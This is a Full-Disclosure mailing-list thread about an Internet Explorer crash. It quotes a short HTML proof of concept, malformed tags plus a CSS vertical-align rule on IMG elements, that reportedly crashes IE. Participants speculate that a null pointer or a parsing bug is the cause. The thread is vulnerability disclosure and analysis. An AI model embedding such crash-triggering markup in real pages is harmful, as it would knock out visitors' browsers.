[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: [Full-disclosure] new IE bug (confirmed on ALL windows)

I believe that this is an illegal operation problem. The IE box model is
a bit messy. The div tag is trying to position vertically every IMG
element in the middle. Probably, IE is trying to calculate the margin or
the padding.

Petko Petkov wrote:

>This is a mini version of IECrash:
><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
>"http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd";>
><STYLE>
>.supp IMG {
>VERTICAL-ALIGN: middle
>}
></STYLE>
><P><A <It>HELLO WORLD!</P>
><DIV class=supp>
><A><IMG>
>
>If you remove the DOCTYPE IE does not crash. I believe that this is some
>sort of parsing vulnerability and directly affects IMG tags.
>
>Peter Ferrie wrote:
>
>  
>
>>>I think I have found by chance this weekend a security bug,while browsing
>>>   
>>>
>>>      
>>>
>>the website news, within iexplorer on all windows versions.
>> 
>>
>>    
>>
>>>I haven't enough knowledge (and don't want) into web browsers security to
>>>   
>>>
>>>      
>>>
>>conduct a full investigation, at least
>>
>>It's a null pointer access, but it's not clear for me, yet, why it occurs.
>>
>>_______________________________________________
>>Full-Disclosure - We believe in it.
>>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>Hosted and sponsored by Secunia - http://secunia.com/
>>
>> 
>>
>>    
>>
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>Hosted and sponsored by Secunia - http://secunia.com/
>
>  
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/